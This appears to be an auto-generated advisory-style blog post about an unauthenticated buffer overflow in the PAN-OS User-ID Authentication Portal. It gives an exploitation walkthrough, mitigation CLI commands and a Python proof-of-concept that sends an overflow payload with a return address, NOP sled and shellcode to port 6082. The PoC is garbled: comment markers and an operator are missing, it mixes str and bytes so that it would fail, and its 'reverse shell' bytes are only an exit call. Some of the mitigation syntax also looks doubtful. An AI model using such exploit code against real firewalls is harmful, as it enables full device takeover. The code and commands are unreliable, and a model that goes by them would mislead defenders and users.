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The vulnerability exists because the User-ID Authentication Portal (Captive Portal) service fails to properly validate the length of incoming data before writing it to a fixed-size memory buffer. This is classified as a CWE-787 Out-of-bounds Write vulnerability. An unauthenticated attacker can exploit this by sending a specially crafted POST request to the portal service, typically listening on TCP port 6082. The crafted payload exceeds the allocated buffer size, causing the excess data to overflow into adjacent memory regions. This uncontrolled write allows the attacker to overwrite critical memory structures, including the return address on the stack. By controlling the overflow content, the attacker can hijack execution flow and redirect the Instruction Pointer (EIP/RIP) to injected shellcode. The shellcode, which is part of the payload, is then executed with root privileges, granting full system compromise. The attack requires no prior authentication or user interaction and is automatable across the network with low complexity. Due to the root-level privileges, an attacker gains the ability to read and modify firewall configurations, intercept network traffic, and use the compromised firewall as a pivot point for further lateral movement within the secured network. The risk is amplified if the portal is exposed to the internet, but is greatly reduced by restricting access to trusted, internal IP addresses.
✅ DailyCVE Form
Platform: Palo Alto PAN-OS
Version: 10.2/11.1/11.2/12.1
Vulnerability: Unauthenticated Root RCE
Severity: Critical (CVSS 9.3)
Date: 2026-05-06
Prediction: Patch on 2026-05-13/28
📊 What Undercode Say:
Vulnerable service continues to be actively targeted. Over 5,800 internet-exposed PA/VM-series devices potentially impacted. The following CLI commands can be used to mitigate the threat:
Check if User-ID Authentication Portal is enabled on the firewall $ show configuration | match authentication-portal Restrict portal access to trusted zones via configuration mode configure set shared user-id-service authentication-portal source-ip 192.168.0.0/16 Disable the vulnerable portal entirely if not required Navigate to: Device > User Identification > Authentication Portal Settings <blockquote> Disable Authentication Portal Add an Access Control List (ACL) rule to block external access to port 6082 $ configure set rulebase security rules deny-external-userid-port destination-port 6082 action deny
⚔️ Exploit:
The exploit is delivered by sending an HTTP POST request containing an oversized parameter to the captive portal authentication endpoint. The attacker controls the payload length and memory address to target. Below is a Python-based proof-of-concept (PoC) snippet utilizing raw sockets to trigger the buffer overflow:
!/usr/bin/env python3
import socket
TARGET = "192.168.1.1"
PORT = 6082
Crafted payload: long string to overflow buffer
2048 bytes of 'A' to reach return address offset
payload = b"A" 2048
Append return address (example: 0xdeadbeef) and shellcode
payload += b"\xef\xbe\xad\xde"
payload += b"\x90\x90\x90\x90" NOP sled
Shellcode placeholder: spawn reverse shell (msfvenom generated)
payload += b"\x31\xc0\x31\xdb\xb0\x01\xcd\x80"
request = f"POST /auth HTTP/1.1\r\nHost: {TARGET}\r\n"
request += f"Content-Length: {len(payload)}\r\n\r\n".encode()
request += payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(request)
s.close()
🛡️ Protection:
Immediate: Restrict User-ID Authentication Portal access to only trusted internal IP addresses or zones via firewall policy.
Workaround: Disable the Authentication Portal entirely if User-ID functionality is not needed (Device > User Identification > Authentication Portal Settings).
Patch: Apply available security updates from Palo Alto as soon as they are released (ETA May 13 – May 28).
Monitoring: Check logs for suspicious connection attempts to UDP/TCP port 6082 from untrusted sources.
💥 Impact:
Successful unauthenticated remote code execution as root leads to complete takeover of PA-Series and VM-Series firewalls. This allows an attacker to:
– Disable security policies and bypass network segmentation.
– Intercept, decrypt, or redirect internal and external traffic.
– Use the firewall as a launch point for attacks on internal assets (lateral movement).
– Permanently disrupt business operations by destroying or corrupting configurations.
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Sources:
Reported By: www.cve.org
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